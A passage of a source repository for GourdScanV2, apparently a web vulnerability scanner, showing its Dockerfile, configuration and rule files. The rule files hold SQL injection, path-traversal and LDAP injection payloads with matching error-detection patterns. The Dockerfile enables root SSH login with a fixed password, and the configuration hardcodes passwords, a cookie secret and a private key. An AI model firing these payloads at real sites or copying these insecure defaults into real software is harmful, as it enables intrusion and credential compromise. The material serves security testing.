├── .gitattributes
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── conf
├── conf.json
├── key.crt
├── key.pem
├── redis.conf
├── rules
│ ├── ldap.rule
│ ├── lfi.rule
│ ├── rule.conf
│ ├── sqlibool.rule
│ ├── sqlireflect.rule
│ ├── sqlitime.rule
│ ├── sqlmap.rule
│ ├── xpath.rule
│ └── xss.rule
└── session
├── gourdscan.py
├── lib
├── __init__.py
├── config.py
├── out.py
├── redisopt.py
├── scan.py
├── secure.py
├── session.py
├── settings.py
└── update.py
├── proxy
├── __init__.py
├── mix_proxy.py
├── proxy_io.py
└── pyscapy.py
├── requirements.txt
└── web
├── __init__.py
├── handlers
├── __init__.py
├── base.py
└── main.py
├── static
├── buss
│ ├── css
│ │ ├── detail.css
│ │ ├── main.css
│ │ ├── plugin.css
│ │ ├── search.css
│ │ └── task.css
│ └── js
│ │ ├── common.js
│ │ ├── config.js
│ │ ├── plugin.js
│ │ ├── plugindetail.js
│ │ ├── result.js
│ │ └── task.js
├── css
│ ├── bootstrap.min.css
│ ├── components.css
│ ├── core.css
│ ├── dropify.min.css
│ ├── elements.css
│ ├── gourdscan.css
│ ├── icons.css
│ ├── layout.css
│ ├── main.css
│ ├── menu.css
│ ├── normalize.min.css
│ ├── pages.css
│ ├── responsive.css
│ ├── sb-admin.css
│ └── typicons.css
├── font-awesome
│ ├── css
│ │ ├── font-awesome.css
│ │ └── font-awesome.min.css
│ ├── fonts
│ │ ├── FontAwesome.otf
│ │ ├── fontawesome-webfont.eot
│ │ ├── fontawesome-webfont.svg
│ │ ├── fontawesome-webfont.ttf
│ │ └── fontawesome-webfont.woff
│ ├── less
│ │ ├── bordered-pulled.less
│ │ ├── core.less
│ │ ├── fixed-width.less
│ │ ├── font-awesome.less
│ │ ├── icons.less
│ │ ├── larger.less
│ │ ├── list.less
│ │ ├── mixins.less
│ │ ├── path.less
│ │ ├── rotated-flipped.less
│ │ ├── spinning.less
│ │ ├── stacked.less
│ │ └── variables.less
│ └── scss
│ │ ├── _bordered-pulled.scss
│ │ ├── _core.scss
│ │ ├── _fixed-width.scss
│ │ ├── _icons.scss
│ │ ├── _larger.scss
│ │ ├── _list.scss
│ │ ├── _mixins.scss
│ │ ├── _path.scss
│ │ ├── _rotated-flipped.scss
│ │ ├── _spinning.scss
│ │ ├── _stacked.scss
│ │ ├── _variables.scss
│ │ └── font-awesome.scss
├── fonts
│ ├── Material-Design-Iconic-Font.ttf
│ ├── Material-Design-Iconic-Font.woff
│ ├── Material-Design-Iconic-Font.woff2
│ ├── dropify.ttf
│ ├── dropify.woff
│ ├── fontawesome-webfont.ttf
│ ├── fontawesome-webfont.woff
│ ├── fontawesome-webfont.woff2
│ ├── themify.ttf
│ └── themify.woff
├── google
│ ├── -L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── 0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── 77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── 97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2
│ ├── I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2
│ ├── Karla.css
│ ├── Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2
│ ├── NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2
│ ├── NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── Rancho.css
│ ├── Roboto.css
│ ├── RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2
│ ├── S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2
│ ├── UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── _VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2
│ ├── d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2
│ ├── isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2
│ ├── oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2
│ ├── rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2
│ ├── sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2
│ ├── suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2
│ ├── tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2
│ ├── uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2
│ └── yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2
├── images
│ ├── big
│ │ ├── ._bg2.jpg
│ │ ├── bg3.jpg
│ │ └── bg4.jpg
│ ├── favicon.ico
│ └── multiple-arrow.png
├── js
│ ├── ajaxfileupload.js
│ ├── bootstrap.min.js
│ ├── detect.js
│ ├── dropify.min.js
│ ├── fastclick.js
│ ├── jquery-3.1.0.min.js
│ ├── jquery.app.js
│ ├── jquery.blockUI.js
│ ├── jquery.core.js
│ ├── jquery.counterup.min.js
│ ├── jquery.min.js
│ ├── jquery.nicescroll.js
│ ├── jquery.scrollTo.min.js
│ ├── jquery.slimscroll.js
│ ├── modernizr.min.js
│ ├── module.min.js
│ ├── npm.js
│ ├── pace.min.js
│ ├── plugins
│ │ ├── dataTables
│ │ │ ├── dataTables.bootstrap.js
│ │ │ └── jquery.dataTables.js
│ │ ├── flot
│ │ │ ├── excanvas.min.js
│ │ │ ├── jquery.flot.js
│ │ │ ├── jquery.flot.pie.js
│ │ │ ├── jquery.flot.resize.js
│ │ │ └── jquery.flot.tooltip.min.js
│ │ ├── metisMenu
│ │ │ └── jquery.metisMenu.js
│ │ └── morris
│ │ │ ├── morris.js
│ │ │ └── raphael-2.1.0.min.js
│ ├── sb-admin.js
│ ├── uploader.min.js
│ ├── waves.js
│ └── wow.min.js
├── less
│ ├── components.less
│ ├── core.less
│ ├── elements.less
│ ├── icons.less
│ ├── icons
│ │ ├── css
│ │ │ └── material-design-iconic-font.css
│ │ ├── font-awesome
│ │ │ ├── HELP-US-OUT.txt
│ │ │ ├── css
│ │ │ │ ├── font-awesome.css
│ │ │ │ ├── font-awesome.min.css
│ │ │ │ ├── mixins.css
│ │ │ │ └── variables.css
│ │ │ ├── fonts
│ │ │ │ ├── FontAwesome.otf
│ │ │ │ ├── fontawesome-webfont.eot
│ │ │ │ ├── fontawesome-webfont.svg
│ │ │ │ ├── fontawesome-webfont.ttf
│ │ │ │ ├── fontawesome-webfont.woff
│ │ │ │ └── fontawesome-webfont.woff2
│ │ │ ├── less
│ │ │ │ ├── animated.less
│ │ │ │ ├── bordered-pulled.less
│ │ │ │ ├── core.less
│ │ │ │ ├── fixed-width.less
│ │ │ │ ├── font-awesome.less
│ │ │ │ ├── icons.less
│ │ │ │ ├── larger.less
│ │ │ │ ├── list.less
│ │ │ │ ├── mixins.less
│ │ │ │ ├── path.less
│ │ │ │ ├── rotated-flipped.less
│ │ │ │ ├── stacked.less
│ │ │ │ └── variables.less
│ │ │ └── scss
│ │ │ │ ├── _animated.scss
│ │ │ │ ├── _bordered-pulled.scss
│ │ │ │ ├── _core.scss
│ │ │ │ ├── _fixed-width.scss
│ │ │ │ ├── _icons.scss
│ │ │ │ ├── _larger.scss
│ │ │ │ ├── _list.scss
│ │ │ │ ├── _mixins.scss
│ │ │ │ ├── _path.scss
│ │ │ │ ├── _rotated-flipped.scss
│ │ │ │ ├── _stacked.scss
│ │ │ │ ├── _variables.scss
│ │ │ │ └── font-awesome.scss
│ │ ├── material-design-iconic-font
│ │ │ ├── css
│ │ │ │ ├── material-design-iconic-font.css
│ │ │ │ └── material-design-iconic-font.min.css
│ │ │ ├── fonts
│ │ │ │ ├── Material-Design-Iconic-Font.eot
│ │ │ │ ├── Material-Design-Iconic-Font.svg
│ │ │ │ ├── Material-Design-Iconic-Font.ttf
│ │ │ │ ├── Material-Design-Iconic-Font.woff
│ │ │ │ └── Material-Design-Iconic-Font.woff2
│ │ │ └── material-design-iconic-font.less
│ │ └── themify-icons
│ │ │ ├── fonts
│ │ │ ├── themify.eot
│ │ │ ├── themify.svg
│ │ │ ├── themify.ttf
│ │ │ └── themify.woff
│ │ │ ├── ie7
│ │ │ ├── ie7.css
│ │ │ └── ie7.js
│ │ │ ├── themify-icons.css
│ │ │ └── themify-icons.less
│ ├── menu.less
│ ├── pages.less
│ ├── responsive.less
│ └── variables.less
└── plugin
│ ├── jquery-knob
│ ├── excanvas.js
│ └── jquery.knob.js
│ ├── jquery.poshytip.min.js
│ ├── jquery.waypoints.min.js
│ ├── morris
│ ├── morris.css
│ ├── morris.js
│ └── morris.min.js
│ ├── multiselect
│ ├── css
│ │ └── multi-select.css
│ ├── img
│ │ └── switch.png
│ └── js
│ │ └── jquery.multi-select.js
│ ├── raphael
│ └── raphael-min.js
│ ├── sweetalert
│ ├── sweetalert.css
│ └── sweetalert.min.js
│ ├── switchery
│ ├── switchery.min.css
│ └── switchery.min.js
│ ├── tip-darkgray
│ ├── tip-darkgray.css
│ ├── tip-darkgray.png
│ └── tip-darkgray_arrows.png
│ └── tip-twitter
│ ├── tip-twitter.css
│ └── tip-twitter_arrows.gif
├── templates
├── 302.html
├── 404.html
├── config.html
├── index.html
├── layout.html
├── list.html
├── login.html
├── proxy.html
├── req.html
└── scan_config.html
└── urls.py
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
19 | # Set css file to linguist-language=Text
20 | *.css linguist-language=python
21 | *.js linguist-language=python
22 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | env/
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 |
27 | # PyInstaller
28 | # Usually these files are written by a python script from a template
29 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
30 | *.manifest
31 | *.spec
32 |
33 | # Installer logs
34 | pip-log.txt
35 | pip-delete-this-directory.txt
36 |
37 | # Unit test / coverage reports
38 | htmlcov/
39 | .tox/
40 | .coverage
41 | .coverage.*
42 | .cache
43 | nosetests.xml
44 | coverage.xml
45 | *,cover
46 | .hypothesis/
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 | local_settings.py
55 |
56 | # Flask stuff:
57 | instance/
58 | .webassets-cache
59 |
60 | # Scrapy stuff:
61 | .scrapy
62 |
63 | # Sphinx documentation
64 | docs/_build/
65 |
66 | # PyBuilder
67 | target/
68 |
69 | # Jupyter Notebook
70 | .ipynb_checkpoints
71 |
72 | # pyenv
73 | .python-version
74 |
75 | # celery beat schedule file
76 | celerybeat-schedule
77 |
78 | # SageMath parsed files
79 | *.sage.py
80 |
81 | # dotenv
82 | .env
83 |
84 | # virtualenv
85 | .venv
86 | venv/
87 | ENV/
88 |
89 | # Spyder project settings
90 | .spyderproject
91 |
92 | # Rope project settings
93 | .ropeproject
94 | .DS_Store
95 | .idea/
96 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | ############################################################
2 |
3 | # Dockerfile to build gourdscan v2.1 environment
4 | # Based on Ubuntu
5 | # https://github.com/ysrc/GourdScanV2
6 | # edit by range
7 |
8 | ############################################################
9 |
10 |
11 | FROM ubuntu:14.04
12 |
13 | #get all the environment
14 | RUN apt-get update
15 | RUN apt-get install -y redis-server python python-pip zip wget vim openssh-server python-libpcap libpcap-dev
16 | RUN pip install --upgrade pip
17 | RUN pip install tornado requests redis scapy
18 | RUN wget https://github.com/sqlmapproject/sqlmap/zipball/master
19 | RUN unzip master -d /root
20 | RUN rm master
21 | RUN mv /root/sqlmap* /root/sqlmap
22 | RUN wget https://github.com/ysrc/GourdScanV2/archive/github.zip
23 | RUN unzip github.zip -d /root
24 | RUN rm github.zip
25 | RUN mv /root/GourdScanV2-github /root/gourdscan
26 |
27 | #install sshd service
28 | RUN mkdir -p /var/run/sshd
29 | RUN sed -ri 's/^PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config
30 | RUN sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config
31 | RUN echo "root:Y3rc_admin" | chpasswd
32 | RUN usermod -s /bin/bash root
33 |
34 | EXPOSE 8000
35 | EXPOSE 22
36 | EXPOSE 10086
37 | EXPOSE 10806
38 |
--------------------------------------------------------------------------------
/conf/conf.json:
--------------------------------------------------------------------------------
1 | {
2 | "scapy_network_card": "all",
3 | "scan_stat": "false",
4 | "check_url": "https://sec.ly.com/gourdscanv2/version.txt",
5 | "threads_num": "5",
6 | "tornado_run_stat": "false",
7 | "ip": "0.0.0.0",
8 | "flush_time": "120",
9 | "scapy_stat": "false",
10 | "only_one_match": "True",
11 | "mix_addr": "0.0.0.0",
12 | "tornado_port": "10806",
13 | "mix_stat": "false",
14 | "scan_level": "3",
15 | "black_domain": "127.0.0.1,0.0.0.0,localhost,google.cn,doubleclick.net,cnzz.com,baidu.com,40017.cn,google-analytics.com,googlesyndication.com,gstatic.com,bing.com,google.com,digicert.com,huihui.cn,tanx.com,qq.com,gtimg.cn,qlogo.cn,qpic.cn,upaiyun.com,gvt2.com,taobao.com,aliyun.com,alicdn.com,360.cn,gravatar.com,sinaimg.cn,githubusercontent.com,githubapp.com,feedburner.com,cloudfront.net,mmstat.com,bdstatic.com,addthis.com,51.la,bidswitch.com,wp.com,sharethis.com,googleapis.com,twimg.com,amazonaws.com,criteo.com,zopim.com,optimizely.com,microsoft.com,uxengine.net,ipinyou.com",
16 | "port": "8000",
17 | "white_domain": "",
18 | "version": "2.1",
19 | "session_expires_time": "300",
20 | "redis_pass": "Y3rc_Alw4ys_B3_W1th_Y0u",
21 | "session_size": "6600",
22 | "page_num": "100",
23 | "black_ext": "css,flv,mp3,mp4,swf,js,jpg,jpeg,png,css,gif,txt,ico,pdf,css3,txt,rar,zip,mkv,avi,mp4,swf,wmv,exe,msi,mpeg,ppt,pptx,doc,docx,xls,xlsx,woff2,woff,map,svg,ttf,m3u8,webp,tiff,bmp,7z,tgz,tar,bz,tbz,gz,apk,ipa",
24 | "mix_port": "10086",
25 | "tornado_address": "0.0.0.0",
26 | "password": "Y3rc_admin",
27 | "account": "admin",
28 | "tornado_stat": "false",
29 | "redis_host": "127.0.0.1",
30 | "scapy_out": "True",
31 | "redis_port": "6379",
32 | "cookie_secret": "O3h80XXsQiyTiH1eNgKBzQnJrgVuieykhk/yqh0/BTw="
33 | }
34 |
--------------------------------------------------------------------------------
/conf/key.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIDNzCCAqCgAwIBAgIJANOmV9H+R86YMA0GCSqGSIb3DQEBBQUAMHExCzAJBgNV
3 | BAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYDVQQHEwNmYXMxDjAMBgNVBAoTBWZm
4 | YXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMTA2ZhczEZMBcGCSqGSIb3DQEJARYK
5 | ZmFzQHFxLmNvbTAeFw0xNjA3MjcwNDIzMjlaFw0xNzA3MjcwNDIzMjlaMHExCzAJ
6 | BgNVBAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYDVQQHEwNmYXMxDjAMBgNVBAoT
7 | BWZmYXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMTA2ZhczEZMBcGCSqGSIb3DQEJ
8 | ARYKZmFzQHFxLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEArxT6CREF
9 | 8DNx0XIjwTvhWD2IOMy8T4J8WXRwLO9eaxhrVh4pqtfTT28pE4CKMXXxV22FIpMv
10 | jygJN0To4XiFmRVO/7M45QpomZ3P20Yvsxl0H7FKctTtnfjXtoJUsADjlmX/h7yZ
11 | lwbbVUhh2t4YeRmbUBI4KnKuML9xpG1wmbcCAwEAAaOB1jCB0zAdBgNVHQ4EFgQU
12 | Uq+kj5r85A4MHBniudXWf5SsJagwgaMGA1UdIwSBmzCBmIAUUq+kj5r85A4MHBni
13 | udXWf5SsJaihdaRzMHExCzAJBgNVBAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYD
14 | VQQHEwNmYXMxDjAMBgNVBAoTBWZmYXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMT
15 | A2ZhczEZMBcGCSqGSIb3DQEJARYKZmFzQHFxLmNvbYIJANOmV9H+R86YMAwGA1Ud
16 | EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAh1Fd/JA8k1XEPYtmcMGSM0lEHW0p
17 | 3CO+vdWBj5OiuOM447vvIaUfjFXooOwgz3bwDRsITcJsPLJZ/joemFjbeNksLexl
18 | yqBEKlA/MTPDr1Ksy0RkOeMakzbMGspwcwTQ8KSsfqnM67h/rXX4AEX2AO1WJCng
19 | 2T82Nin2DaHlwuM=
20 | -----END CERTIFICATE-----
21 |
--------------------------------------------------------------------------------
/conf/key.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIICXAIBAAKBgQCvFPoJEQXwM3HRciPBO+FYPYg4zLxPgnxZdHAs715rGGtWHimq
3 | 19NPbykTgIoxdfFXbYUiky+PKAk3ROjheIWZFU7/szjlCmiZnc/bRi+zGXQfsUpy
4 | 1O2d+Ne2glSwAOOWZf+HvJmXBttVSGHa3hh5GZtQEjgqcq4wv3GkbXCZtwIDAQAB
5 | AoGBAI6eLsL96/FrZpavPHLmnTys+u8Rz3+REkwoLkxcPHROsvi2n0h8gLQfH720
6 | Il4B7jNCkoXEkaQyf7dW2cD41RGyB4wJWjofobZ8vgQL2mV/snt/dH6WvGu5Kv25
7 | z9oDvHZqP7ERpG0v6Z/diEjXhOTV6k77aCYoAysxI5RUY64ZAkEA233eVg51tQwp
8 | YpGERVRCRLHLDoBDJiiRcSo3vsOtYKz575K9blWSGkzNg4XT8nsp3a+DlvW8yQfq
9 | q9fXk7FHTQJBAMw0Gys3UVbUScLKmGwVgE9fIgpYcygymLvWkWFkp3B5KQ8ZVJQD
10 | AmoZnG+rVodr71F8L/efH+oyvjo88NIYCxMCQENbjS+7oEO/R7QIFB9yjCOorDf3
11 | BKRhLsEbw5+3TS2t58WtspR5jiykBS2nlDOFuINfqXJaV2UaGNpDktSwQsECQEFj
12 | pheOnTNKw1vm+CwULoQ8GHBrpmSG3zW3HdKsIpn3klhNajIDTLChBuETYp/2xim3
13 | tLx8bgHWwedwQEVmgZUCQC3lhI2zqj8m7KWMTTGONW5mZhwPOgcaiqafFvb6ipic
14 | +ZTbwiRhREzfm4BPDEQAW68O1ZrI9eobXjxrTyza3Zo=
15 | -----END RSA PRIVATE KEY-----
16 |
--------------------------------------------------------------------------------
/conf/rules/ldap.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ^(%23$!@%23$)(()))******
6 |
7 |
8 | supplied argument is not a valid ldap
9 | javax.naming.NameNotFoundException
10 | LDAPException
11 | com.sun.jndi.ldap
12 | Search: Bad search filter
13 | Protocol error occurred
14 | Size limit has exceeded
15 | An inappropriate matching occurred
16 | A constraint violation occurred
17 | The syntax is invalid
18 | Object does not exist
19 | The alias is invalid
20 | The distinguished name has an invalid syntax
21 | The server does not handle directory requests
22 | There was a naming violation
23 | There was an object class violation
24 | Results returned are too large
25 | Unknown error occurred
26 | Local error occurred
27 | The search filter is incorrect
28 | The search filter is invalid
29 | The search filter cannot be recognized
30 | Invalid DN syntax
31 | No Such Object
32 | IPWorksASP.LDAP
33 | Module Products.LDAPMultiPlugins
34 |
35 |
36 |
--------------------------------------------------------------------------------
/conf/rules/lfi.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ../../../../../../../../../../../../../../../boot.ini
6 | ../../../../../../../../../../../../../../../boot.ini.html
7 | C:\boot.ini
8 | C:\boot.ini
9 | C:\boot.ini.html
10 | %SYSTEMROOT%\win.ini
11 | %SYSTEMROOT%\win.ini
12 | %SYSTEMROOT%\win.ini.html
13 | ../../../../../../../../../../../../../../../etc/passwd%00.html
14 | /etc/passwd%00.html
15 | ../../../../../../../../../../../../../../../etc/passwd
16 | ../../../../../../../../../../../../../../../etc/passwd
17 | ../../../../../../../../../../../../../../../etc/passwd.html
18 | ....//....//....//....//....//....//....//....//....//....//etc/passwd
19 | ../../../../../../../../../../../../../../../../etc/passwd%00
20 | ....//....//....//....//....//....//....//....//....//....//etc/passwd%00
21 | /etc/passwd
22 | https://raw.githubusercontent.com/code-scan/GourdScan/master/README.md?
23 |
24 |
25 | java.io.FileNotFoundException\:
26 | java.lang.Exception\:
27 | java.lang.IllegalArgumentException\:
28 | java.net.MalformedURLException\:
29 | The server encountered an internal error \(.*\) that prevented it from fulfilling this request.
30 | fread\(\)\:
31 | for inclusion '\(include_path=
32 | Failed opening requiredv
33 | <b>Warning</b>\: file\(
34 | <b>Warning</b>\: file_get_contents\(
35 | root:x\:0\:0\:root\:
36 | Warning\: fopen\(
37 | No such file or directory
38 | # GourdScan
39 |
40 |
41 |
--------------------------------------------------------------------------------
/conf/rules/rule.conf:
--------------------------------------------------------------------------------
1 | {"sqlmap_api": "http://127.0.0.1:8775", "scan_type": ["sqlireflect", "sqlitime", "xpath", "xss", "lfi", "ldap", "sqlibool"]}
--------------------------------------------------------------------------------
/conf/rules/sqlibool.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ' AND 1221=1221 AND '1'='1
6 | ' AND 11=11 AND '1'='1
7 | ' AND 1221=1 AND '1'='1
8 | ' AND 11=1 AND '1'='1
9 |
10 |
11 | " AND 1221=1221 AND "1"="1
12 | " AND 11=11 AND "1"="1
13 | " AND 1221=1 AND "1"="1
14 | " AND 11=1 AND "1"="1
15 |
16 |
17 | AND 1221=1221-- tasdf
18 | AND 11=11-- tad
19 | AND 1221=1-- tad
20 | AND 11=1-- tad
21 |
22 |
23 | AND 1221=1221%23
24 | AND 11=11%23
25 | AND 1221=1%23
26 | AND 11=1%23
27 |
28 |
29 | AND 1221=1221
30 | AND 11=11
31 | AND 1221=1
32 | AND 11=1
33 |
34 |
35 | ) AND 3524=3524 AND (2568=2568
36 | ) AND 11=11 AND (2568=2568
37 | ) AND 1221=1 AND (2568=2568
38 | ) AND 11=1 AND (2568=2568
39 |
40 |
41 | %' AND 3534=5303 AND '%'='
42 | %' AND 11=11 AND '%'='
43 | %' AND 3534=1 AND '%'='
44 | %' AND 11=1 AND '%'='
45 |
46 |
47 | OR 7913=7913%23
48 | OR 11=11%23
49 | OR 7913=1%23
50 | OR 11=1%23
51 |
52 |
53 | ' OR 7913=7913%23
54 | ' OR 11=11%23
55 | ' OR 7913=1%23
56 | ' OR 11=1%23
57 |
58 |
59 | ) OR 7913=7913%23
60 | ) OR 11=11%23
61 | ) OR 7913=1%23
62 | ) OR 11=1%23
63 |
64 |
65 |
66 |
67 | )) AND 4691=4691%23
68 | )) AND 11=11%23
69 | )) AND 4691=1%23
70 | )) AND 11=1%23
71 |
72 |
73 | ")) AND 4691=4691%23
74 | ")) AND 11=11%23
75 | ")) AND 4691=1%23
76 | ")) AND 11=1%23
77 |
78 |
79 | ') AND 4691=4691%23
80 | ') AND 11=11%23
81 | ') AND 4691=1%23
82 | ') AND 11=1%23
83 |
84 |
85 | %' AND 4691=4691%23
86 | %' AND 11=11%23
87 | %' AND 4691=1%23
88 | %' AND 11=1%23
89 |
90 |
91 | %" AND 4691=4691%23
92 | %" AND 11=11%23
93 | %" AND 4691=1%23
94 | %" AND 11=1%23
95 |
96 |
97 | ')) AND 4691=4691%23
98 | ')) AND 11=11%23
99 | ')) AND 4691=1%23
100 | ')) AND 11=1%23
101 |
102 |
103 | ))) AND 4691=4691%23
104 | ))) AND 11=11%23
105 | ))) AND 4691=1%23
106 | ))) AND 11=1%23
107 |
108 |
109 |
110 |
111 | ')) AS cGQn WHERE 8783=8783 AND 5105=5105%23
112 | ')) AS cGQn WHERE 8783=8783 AND 11=11%23
113 | ')) AS cGQn WHERE 8783=8783 AND 5105=1%23
114 | ')) AS cGQn WHERE 8783=8783 AND 11=1%23
115 |
116 |
117 | ') AS cGQn WHERE 8783=8783 AND 5105=5105%23
118 | ') AS cGQn WHERE 8783=8783 AND 11=11%23
119 | ') AS cGQn WHERE 8783=8783 AND 5105=1%23
120 | ') AS cGQn WHERE 8783=8783 AND 11=1%23
121 |
122 |
123 | ") AS cGQn WHERE 8783=8783 AND 5105=5105%23
124 | ") AS cGQn WHERE 8783=8783 AND 11=11%23
125 | ") AS cGQn WHERE 8783=8783 AND 5105=1%23
126 | ") AS cGQn WHERE 8783=8783 AND 11=1%23
127 |
128 |
129 | ")) AS cGQn WHERE 8783=8783 AND 5105=5105%23
130 | ")) AS cGQn WHERE 8783=8783 AND 11=11%23
131 | ")) AS cGQn WHERE 8783=8783 AND 5105=1%23
132 | ")) AS cGQn WHERE 8783=8783 AND 11=1%23
133 |
134 |
135 | `) AS cGQn WHERE 8783=8783 AND 5105=5105%23
136 | `) AS cGQn WHERE 8783=8783 AND 11=11%23
137 | `) AS cGQn WHERE 8783=8783 AND 5105=1%23
138 | `) AS cGQn WHERE 8783=8783 AND 11=1%23
139 |
140 |
141 |
--------------------------------------------------------------------------------
/conf/rules/sqlireflect.rule:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | "a'b"c'd""
6 |
7 |
8 | System.Data.OleDb.OleDbException
9 | \[SQL Server\]
10 | \[Microsoft\]\[ODBC SQL Server Driver\]
11 | \[SQLServer JDBC Driver\]
12 | \[SqlException
13 | System.Data.SqlClient.SqlException
14 | Unclosed quotation mark after the character string
15 | '80040e14'
16 | mssql_query\(\)
17 | odbc_exec\(\)
18 | Microsoft OLE DB Provider for ODBC Drivers
19 | Microsoft OLE DB Provider for SQL Server
20 | Incorrect syntax near
21 | Sintaxis incorrecta cerca de
22 | Syntax error in string in query expression
23 | ADODB.Field \(0x800A0BCD\)<br>
24 | ADODB.Recordset'
25 | Unclosed quotation mark before the character string
26 | '80040e07'
27 | Microsoft SQL Native Client error
28 | SQLCODE
29 | DB2 SQL error\:
30 | SQLSTATE
31 | \[CLI Driver\]
32 | \[DB2/6000\]
33 | Sybase message\:
34 | Sybase Driver
35 | \[SYBASE\]
36 | Syntax error in query expression
37 | Data type mismatch in criteria expression.
38 | Microsoft JET Database Engine
39 | \[Microsoft\]\[ODBC Microsoft Access Driver\]
40 | Microsoft OLE DB Provider for Oracle
41 | wrong number or types
42 | PostgreSQL query failed\:
43 | supplied argument is not a valid PostgreSQL result
44 | unterminated quoted string at or near
45 | pg_query\(\) \[\:
46 | pg_exec\(\) \[\:
47 | supplied argument is not a valid MySQL
48 | Column count doesn\'t match value count at row
49 | mysql_fetch_array\(\)
50 | mysql_
51 | on MySQL result index
52 | You have an error in your SQL syntax
53 | MySQL server version for the right syntax to use
54 | Division by zero in
55 | not a valid MySQL result
56 | \[MySQL\]\[ODBC
57 | Column count doesn't match
58 | the used select statements have different number of columns
59 | DBD\:\:mysql\:\:st execute failed
60 | DBD\:\:mysql\:\:db do failed\:
61 | com\.informix\.jdbc
62 | Dynamic Page Generation Error\:
63 | An illegal character has been found in the statement
64 | \[Informix\]
65 | <b>Warning</b>\: ibase_
66 | Dynamic SQL Error
67 | \[DM_QUERY_E_SYNTAX\]
68 | has occurred in the vicinity of\:
